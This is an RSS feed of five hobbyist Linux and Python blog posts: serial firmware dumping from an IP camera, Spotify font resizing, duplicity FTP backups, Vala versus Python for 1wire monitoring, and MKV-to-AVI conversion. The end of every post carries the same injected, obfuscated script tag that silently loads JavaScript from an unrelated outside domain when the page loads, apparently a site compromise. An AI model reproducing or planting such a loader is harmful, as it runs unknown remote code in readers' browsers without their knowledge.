<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Python</title>
	<atom:link href="http://www.larsen-b.com/tags/python/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Backup Linux embedded system firmware (Heden, Foscam, WRT..)</title>
		<link>http://www.larsen-b.com/Article/464.html</link>
		<comments>http://www.larsen-b.com/Article/464.html#comments</comments>
		<pubDate>Fri, 25 Oct 2013 23:51:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Bootloader]]></category>
		<category><![CDATA[Camera]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=464</guid>
		<description><![CDATA[This post talk about a cheap Heden clone outdoor camera but should work on most Linux embedded systems. Here the little story : A friend ask me to repair his bricked Heden cam copy (no-name). So let&#8217;s open it, find &#8230; <a href="http://www.larsen-b.com/Article/464.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This post talk about a cheap Heden clone outdoor camera but should work on most Linux embedded systems.</p>
<p>Here the little story : A friend ask me to repair his bricked Heden cam copy (no-name). So let&#8217;s open it, find a serial port and look what&#8217;s going on. I used the bus-pirate of course. I discovered that only the bootloader is working, the whole flash seems empty.I searched a long time, and tried severals stuffs, but I was unable to find the right firmware (in the right format) for his no-name camera.</p>
<div class="wp-caption alignnone" style="width: 650px"><img alt="" src="http://jkx.larsen-b.com/photos/blog/nestos_cam.sized.jpg" width="640" height="482" /><p class="wp-caption-text">NetOS opened camera</p></div>
<p>So my friend sent the camera back (warranty), and receive a new one. Now, he ask me to backup the flash memory, to fix the problem if this occurs in a few months again.</p>
<p>The main issue is : The camera has no backup web interface, no MTD dump shell binary (nor ftp, scp..), and it&#8217;s not really easy to compile the mtd tools because the system has no library installed (only a few static binary files). I&#8217;m unable to backup the firmware throught the OS. Let&#8217;s try see the bootloader.</p>
<p>The bootloader has no backup firmware features, but it can dump the memory content (flash included), and it has a builtin &#8220;ls&#8221; like command that display base memory segments. With the simple &#8220;d 0xAAAA&#8221;, you can dump the memory at 0xAAAA address. Fine, I decided to write a little script that walk the memory, dump the content and rebuild the binary file.</p>
<pre><span style="color: #444444;">#!/usr/bin/env python2</span>
<strong>import</strong> <span style="color: #2040a0;">serial</span>,<span style="color: #2040a0;">sys</span>,<span style="color: #2040a0;">string</span>

<span style="color: #2040a0;">log_file</span> <span>=</span> <span style="color: #2040a0;">None</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">ser_open</span><span>(</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">ser</span> <span>=</span> <span style="color: #2040a0;">serial</span>.<span style="color: #2040a0;">Serial</span><span>(</span><span style="color: #008000;">"/dev/ttyUSB0"</span>, <span style="color: #ff0000;">115200</span>, <span style="color: #2040a0;">timeout</span> <span>=</span> <span style="color: #ff0000;">0.1</span><span>)</span>
    <strong>return</strong> <span style="color: #2040a0;">ser</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">log</span><span>(</span><span style="color: #2040a0;">line</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">l</span><span>=</span><span style="color: #2040a0;">string</span>.<span style="color: #2040a0;">split</span><span>(</span><span style="color: #2040a0;">line</span>,<span style="color: #008000;">' '</span><span>)</span>
    <span style="color: #2040a0;">data</span><span>=</span><span style="color: #008000;">'%s%s%s%s'</span> <span>%</span> <span>(</span><span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">1</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">2</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">4</span><span>]</span>,<span style="color: #2040a0;">l</span><span>[</span><span style="color: #ff0000;">5</span><span>]</span><span>)</span>
    <strong>for</strong> <span style="color: #2040a0;">i</span> <strong>in</strong> <span style="color: #2040a0;">range</span><span>(</span><span style="color: #ff0000;">0</span>,<span style="color: #ff0000;">32</span>,<span style="color: #ff0000;">2</span><span>)</span><span>:</span>
        <span style="color: #2040a0;">octet</span> <span>=</span> <span style="color: #2040a0;">int</span><span>(</span><span style="color: #2040a0;">data</span><span>[</span><span style="color: #2040a0;">i</span><span>:</span><span style="color: #2040a0;">i</span><span>+</span><span style="color: #ff0000;">2</span><span>]</span>,<span style="color: #ff0000;">16</span><span>)</span>
        <span style="color: #2040a0;">log_file</span>.<span style="color: #2040a0;">write</span><span>(</span><span style="color: #008000;">'%s'</span> <span>%</span> <span style="color: #2040a0;">chr</span><span>(</span><span style="color: #2040a0;">octet</span><span>)</span><span>)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">dump</span><span>(</span><span style="color: #2040a0;">ser</span>,<span style="color: #2040a0;">addr</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">s</span> <span>=</span> <span style="color: #008000;">"d -s 0x%x<span style="color: #77dd77;">\n</span>"</span> <span>%</span> <span style="color: #2040a0;">addr</span>
    <span style="color: #2040a0;">ser</span>.<span style="color: #2040a0;">write</span><span>(</span><span style="color: #2040a0;">s</span><span>)</span>

    <span style="color: #2040a0;">l</span><span>=</span><span>[</span><span>]</span>
    <span style="color: #2040a0;">i</span> <span>=</span> <span style="color: #ff0000;">0</span>
    <strong>while</strong> <span style="color: #ff0000;">1</span><span>:</span>
        <span style="color: #2040a0;">data</span> <span>=</span> <span style="color: #2040a0;">ser</span>.<span style="color: #2040a0;">read</span><span>(</span><span>)</span>
        <strong>if</strong> <strong>not</strong> <span style="color: #2040a0;">data</span><span>:</span><strong>break</strong>
        <span style="color: #2040a0;">l</span>.<span style="color: #2040a0;">append</span><span>(</span><span style="color: #2040a0;">data</span><span>)</span>
        <strong>if</strong> <span>(</span><span style="color: #2040a0;">data</span><span>=</span><span>=</span><span style="color: #008000;">'\r'</span><span>)</span><span>:</span>
            <span style="color: #2040a0;">s</span> <span>=</span> <span style="color: #2040a0;">string</span>.<span style="color: #2040a0;">join</span><span>(</span><span style="color: #2040a0;">l</span>,<span style="color: #008000;">''</span><span>)</span>
            <strong>if</strong> <span>(</span><span style="color: #2040a0;">s</span><span>[</span><span style="color: #ff0000;">0</span><span>]</span> <span>=</span><span>=</span> <span style="color: #008000;">'['</span><span>)</span><span>:</span>
                <span style="color: #2040a0;">log</span><span>(</span><span style="color: #2040a0;">s</span><span>)</span>
            <span style="color: #2040a0;">l</span><span>=</span><span>[</span><span>]</span>

<span style="color: #2040a0;">d</span> <span>=</span> <span style="color: #2040a0;">ser_open</span><span>(</span><span>)</span>
<span style="color: #2040a0;">log_file</span> <span>=</span> <span style="color: #2040a0;">open</span><span>(</span><span style="color: #008000;">'log.raw'</span>,<span style="color: #008000;">'a'</span><span>)</span>

<span style="color: #2040a0;">img_start</span> <span>=</span> <span style="color: #ff0000;">0x7F0E0000</span>
<span style="color: #2040a0;">img_size</span> <span>=</span> <span style="color: #ff0000;">0xC3C00</span>

<strong>for</strong> <span style="color: #2040a0;">i</span> <strong>in</strong> <span style="color: #2040a0;">range</span><span>(</span><span style="color: #2040a0;">img_start</span>,<span style="color: #2040a0;">img_start</span><span>+</span><span style="color: #2040a0;">img_size</span><span>+</span><span style="color: #ff0000;">0x100</span>,<span style="color: #ff0000;">0x100</span><span>)</span><span>:</span>
    <span style="color: #2040a0;">dump</span><span>(</span><span style="color: #2040a0;">d</span>,<span style="color: #2040a0;">i</span><span>)</span>
    <strong>print</strong> <span style="color: #008000;">"0x%x"</span><span>%</span> <span style="color: #2040a0;">i</span></pre>
<p>As you can see, this code isn&#8217;t really clean and well written, but it give me a nice binary file for a given offset and size. Simply dump the memory through serial port, do a little parsing, and store the result in binary file named log.raw.</p>
<p>I used this to backup the camera linux.bin file, and the romfs.img. Of course you can use this to dump the whole memory too. To check if the files are Ok, you can try to g-unzip the Linux Kernel, and mount the romfs.</p>
<p>To check the romfs, I simply mount it with : <em>mount -t roomfs -o loop log.raw ./log </em></p>
<p>So now, I have a backup for this no-name camera, and next time the whole memory will drop, I will try to restore it ;).</p>
<p>This method seems really crude (and dirty), but it work without too much trouble, and can be tweaked for a lot of systems. It should work on every Linux embedded system with an dump memory feature in the bootloader (quite every one).</p>
<p><strong>Enjoy memory ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/464.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto : Change Spotify font size (for 42&#8243; TV display)</title>
		<link>http://www.larsen-b.com/Article/446.html</link>
		<comments>http://www.larsen-b.com/Article/446.html#comments</comments>
		<pubDate>Wed, 16 Jan 2013 13:48:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hifi]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spotify]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=446</guid>
		<description><![CDATA[I use Spotify for my every day listening, and I decided to use it on a big screen : My 42&#8243; LCD TV. Simply launch Spotify in a one-line .xinitrc script. It fit perfectly in full screen mode without any tweak. But &#8230; <a href="http://www.larsen-b.com/Article/446.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I use <a title="spotify.com" href="http://www.spotify.com">Spotify</a> for my every day listening, and I decided to use it on a big screen : My 42&#8243; LCD TV. Simply launch Spotify in a one-line .xinitrc script. It fit perfectly in full screen mode without any tweak. But of course nothing is perfect,  we have to live with a very small font on a such big screen. Spotify use a skin for the client app, so changing QT4 fonts doesn&#8217;t change anything, we have to fix the skin directly.</p>
<p>So, first step : search the file <em>resources.zip</em> (in <em>/opt/spotify/spotify-client/Data/</em> on Debian). Extract the file <strong>skin.xml</strong>. In this file, search for line like this.</p>
<pre>&lt;font ci="FriendsListFont" color="#dddddd" shadow="#333333" size="11" /&gt;</pre>
<p>So change all font sizes, save the file, re-pack the ressources file .. and Voila. You can fix this manually (or with a special XML editor), but the file contain 245 font definitions. I decided to fix with a <a href="http://www.python.org">Python</a> script.</p>
<pre>
<strong>import</strong> <font color="#2040a0">xml</font>.<font color="#2040a0">etree</font>.<font color="#2040a0">ElementTree</font> <font color="#2040a0">as</font> <font color="#2040a0">xml</font>

<font color="#2040a0">tree</font> <font color="4444FF">=</font> <font color="#2040a0">xml</font>.<font color="#2040a0">parse</font><font color="4444FF">(</font><font color="#008000">&quot;./skin.xml&quot;</font><font color="4444FF">)</font>
<font color="#2040a0">root</font> <font color="4444FF">=</font> <font color="#2040a0">tree</font>.<font color="#2040a0">getroot</font><font color="4444FF">(</font><font color="4444FF">)</font>

<strong>for</strong> <font color="#2040a0">f</font> <strong>in</strong> <font color="#2040a0">root</font>.<font color="#2040a0">findall</font><font color="4444FF">(</font><font color="#008000">'font'</font><font color="4444FF">)</font><font color="4444FF">:</font>
	<font color="#2040a0">taille</font> <font color="4444FF">=</font> <font color="#2040a0">f</font>.<font color="#2040a0">get</font><font color="4444FF">(</font><font color="#008000">'size'</font><font color="4444FF">)</font>
	<strong>if</strong> <font color="#2040a0">taille</font><font color="4444FF">:</font>
		<font color="#2040a0">taille</font> <font color="4444FF">=</font> <font color="#2040a0">int</font><font color="4444FF">(</font><font color="#2040a0">taille</font><font color="4444FF">)</font> <font color="4444FF">+</font> <font color="#FF0000">4</font>
		<font color="#2040a0">f</font>.<font color="#2040a0">set</font><font color="4444FF">(</font><font color="#008000">'size'</font>,<font color="#2040a0">str</font><font color="4444FF">(</font><font color="#2040a0">taille</font><font color="4444FF">)</font><font color="4444FF">)</font>


<font color="#2040a0">file</font> <font color="4444FF">=</font> <font color="#2040a0">open</font><font color="4444FF">(</font><font color="#008000">&quot;new_skin.xml&quot;</font>, <font color="#008000">'w'</font><font color="4444FF">)</font>

<font color="#2040a0">xml</font>.<font color="#2040a0">ElementTree</font><font color="4444FF">(</font><font color="#2040a0">root</font><font color="4444FF">)</font>.<font color="#2040a0">write</font><font color="4444FF">(</font><font color="#2040a0">file</font><font color="4444FF">)</font>

</pre>
<p>Let&#8217;s try this new skin :  <a style="font-style: normal; line-height: 24px; text-decoration: underline;" href="http://jkx.larsen-b.com/gallery/blog/big_spotify?full=1"><img class="alignnone" alt="" src="http://jkx.larsen-b.com/photos/blog/big_spotify.sized.jpg" width="640" height="433" /></a></p>
<p>This should be a easier for the big screen :)</p>
<p><strong>/Enjoy music</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/446.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Automatic FTP backup for servers</title>
		<link>http://www.larsen-b.com/Article/409.html</link>
		<comments>http://www.larsen-b.com/Article/409.html#comments</comments>
		<pubDate>Sat, 28 Jan 2012 17:07:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[duplicity]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=409</guid>
		<description><![CDATA[Today I need to find a way to do some backup on an FTP server. Of course there is a lot of way to do that, but I need something automatic that does some full (monthly) and incremental (daily) backup. &#8230; <a href="http://www.larsen-b.com/Article/409.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Today I need to find a way to do some backup on an FTP server. Of course there is a lot of way to do that, but I need something automatic that does some full (monthly) and incremental (daily) backup. I decided to use <a href="http://duplicity.nongnu.org/">duplicity</a> because it&#8217;s a really simple and effective software. The main issue, is that duplicity command line is a bit hard to remember for me. So why not simply write a simple python script that does the job for me.</p>
<p>So here, we are :</p>
<pre><span style="color: #444444;">#!/usr/bin/python </span>
# Edit DATA and DEST
<span style="color: #2040a0;">DATA</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'/var/www'</span>
<span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'ftp://username:password@ftp.server/backup'</span>

<strong>import</strong> <span style="color: #2040a0;">os</span>
<strong>import</strong> <span style="color: #2040a0;">sys</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">b_type</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'incr'</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span> <span style="color: #4444ff;">=</span><span style="color: #008000;">'nice -n 19 duplicity %s  --volsize 512 --no-encryption --asynchronous-upload '</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">b_type</span>,<span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">temp</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'%s %s %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span>,<span style="color: #2040a0;">DATA</span>,<span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">temp</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">info</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity collection-status  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">list_files</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity list-current-files  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">clean</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity remove-all-but-n-full 1 --force %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <strong>print</strong> <span style="color: #008000;">"%s [-incr|-full|-list|-info|-clean]"</span> <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">]</span>

<strong>if</strong> <span style="color: #2040a0;">__name__</span><span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'__main__'</span><span style="color: #4444ff;">:</span>
    <strong>if</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&gt;</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">:</span>
        <strong>if</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-incr'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'inc'</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-full'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'full'</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-info'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">info</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-list'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">list_files</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-clean'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">clean</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>else</strong><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
    <strong>else</strong><span style="color: #4444ff;">:</span>
        <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span></pre>
<p>Please note that I disabled the PGP encryption for this backup. Mainly because, I don&#8217;t want to deal w/ lost keys when I will need to restore the backup. But this can be done easily. I will post a complete guide if someone ask.</p>
<p>The next step call the script in cron.d for example with something like this : <em>30  3   *  *  * </em></p>
<p><strong>Feel happy no more stress with backup ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/409.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>From Python to Vala for 1wire monitoring w/ Munin</title>
		<link>http://www.larsen-b.com/Article/352.html</link>
		<comments>http://www.larsen-b.com/Article/352.html#comments</comments>
		<pubDate>Mon, 26 Jul 2010 16:44:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[1wire]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[munin]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[vala]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=352</guid>
		<description><![CDATA[Recently I decided to daily switch my main computer off. This computer was usually on all time, and consume a lot of electricity. So, I switched to a really small computer for common task: ssh-server, wake on lan (for my &#8230; <a href="http://www.larsen-b.com/Article/352.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Recently I decided to daily switch my main computer off. This computer was usually on all time, and consume a lot of electricity. So, I switched to a really small computer for common task: ssh-server, wake on lan (for my main computer), VPN access and mail relay. This new computer consume 7watts but his specs are : Geode CPU at 300Mhz, 128Mb of RAM, and 40Go of HD. Yes, that&#8217;s really low, but far enough for attributed tasks. I randomly log on this for external to access all computer inside my home network.</p>
<p>The main issue here, is that I used my main computer to monitor an 1wire network of external, heating and rooms temperature. I used a small Arduino card and a couple of <a href="http://www.python.org">Python</a> scripts to populate some munin graph, like this one:</p>
<p><img class="aligncenter" title="munin temperature" src="http://jkx.larsen-b.com/photos/blog/localhost_localdomain_jkx_temp_week.png" alt="" width="495" height="319" /></p>
<p>As you can see on this graph, I use a reference temperature from Guipavas. This stuff is public, and I use the <a href="http://www.weather.com">Weather.com</a> for the info. All works fine for about an year now. But when I switched to my new little box (300Mhz..) the python script used to monitor the 1wire network and gather weather.com reference was a bit heavier than excepted for this little box.</p>
<p>I first thought to rewrite this in pure C, but having to deal w/ xml parsing (libxml) and Posix serial in C .. That&#8217;s the little story, I decided to rewrite this script (and other) in <a href="http://live.gnome.org/Vala">Vala</a>. I will not dump the Vala introduction here, but to be short it&#8217;s a new language that produce C used by Gnome Desktop. The syntax tend to be a C# like, and it has a lot of libraries and doesn&#8217;t need the bloat of an interpreter (nor VM). My first test was to listen to the Arduino serial port.</p>
<pre>public void run()
{
ser = new Serial.POSIX();
loop = new GLib.MainLoop();
ser.speed=Serial.Speed.B38400;
ser.received_data.connect(parseSerial);
loop.run();
}</pre>
<p><br/><br />
I used a Serial.vala wrapper found on the net, this is simple and neat. Just added some string parsing, and I get my Arduino 1wire network working w/ Vala .. The next is the Weather.com parsing which will be covered in a future post.<br />
To conclude, the Vala result is fine. The result binary is small 38KB, it has quite a lot of dependencies (libsoup,glib, pthread, gobject..) and consume more memory than my python script. Python interpreter + Elementtree (xml parsing) + pyserial eat around 8.9MB of RAM, while the my Vala code eat 12.3MB. But keep in mind that&#8217;s this is with all the shared libraries. So, if you use a couple of script like me, this memory isn&#8217;t a big deal, because it will be used across different process without any overhead.</p>
<p>In meantimes, the main difference between the two version is the speed, here come some results with the time command of the weather.com functions only (I dropped the serial IO stuff for this test) :</p>
<pre>jkx@brick:~$ time python weather.py
Temp:    20
Pres:    1021.0 hPa
Wind:    19 km/s

real    0m2.105s
user    0m1.468s
sys     0m0.216s</pre>
<pre>jkx@brick:~$ time ./weather
Temp:    20 deg
Pres:    1021.0 hPa
Wind:    19 km/s

real    0m0.427s
user    0m0.084s
sys     0m0.032s</pre>
<p><br/></p>
<p>Ok, Python takes 4x the Vala time for the same stuff. Of course this piece of code isn&#8217;t exactly the same, and evolve an network access, but I tested this a couple of times, and the result is always ~ the same, so I decide to look closer, and found that despite Python interpreter load quite speedy, ElementTree + urllib2 take 1.35sec to import</p>
<p>I get it, this system has a really small CPU and importing libs from harddrive takes times .. which doesn&#8217;t occur with my Vala code, the binary is small, and all dependency are already loaded by the OS itself. To conclude, Python is still my favorite language but running python script on small system has an overhead which I must take care, and avoiding loading / unloading libs is the key. A single python process, with some script loaded will be a better choice. And for small custom apps used on this kind of system, Vala seems to be a good alternative.</p>
<p><strong>// Enjoy the sun</strong></p>
<p><strong><br />
</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/352.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to convert matroska MKV to AVI on Linux ?</title>
		<link>http://www.larsen-b.com/Article/261.html</link>
		<comments>http://www.larsen-b.com/Article/261.html#comments</comments>
		<pubDate>Tue, 08 May 2007 12:38:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[divx]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[mastroka]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Today, I discover that my M3100 player doesn&#8217;t know how to play Mastroka files. Mastroka files are really kool since the subtitles are embeded in .. but that&#8217;s it, my player refuse to play open it. This stuff can be &#8230; <a href="http://www.larsen-b.com/Article/261.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Today, I discover that my <a class="reference" href="http://www.larsen-b.com/Article/258.html">M3100</a> player doesn&#8217;t know how to play <a class="reference" href="http://www.matroska.org/">Mastroka</a> files. <a class="reference" href="http://www.matroska.org/">Mastroka</a> files are really kool since the subtitles are embeded in .. but that&#8217;s it, my player refuse to play open it.</p>
<p>This stuff can be repack in a AVI (xivd..) file with some open source tools. Here, a little script to do the hard stuff ;)</p>
<p>You can find the script here : <a href="http://svn.pythonfr.org/public/pythonfr/utils/video/mkv2avi.py">http://svn.pythonfr.org/public/pythonfr/utils/video/mkv2avi.py</a></p>
<pre class="literal-block">#!/usr/bin/python
# Little script to depack Matroska file, and repack them
# in a AVI + subtitle format.

import sys
import os

def message(msg):
    print "=" * 78
    print "= %s" % msg
    print "=" * 78

def usage():
    print "Mastroka repacker script"
    print "  Usage: "+sys.argv[0]+ " filename"

if __name__ == "__main__":
    if len(sys.argv) &lt; 2:
       usage()
    else:
       filename = sys.argv[1]
       basename = filename[:-4]
       message("Unpacking file: %s" % filename)
       os.system("mkvextract tracks %s 1:temp_video.avi 2:temp_audio.ogg 3:%s.srt" % (filename,basename) )

       message("Repacking file: %s.avi" % basename)
       os.system("ffmpeg -i temp_audio.ogg  -i temp_video.avi  -vcodec copy  %s.avi" % (basename) )

       message("Cleaning files")
       os.system("rm temp_video.avi temp_audio.ogg")</pre>
<p><strong>/Enjoy Video</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
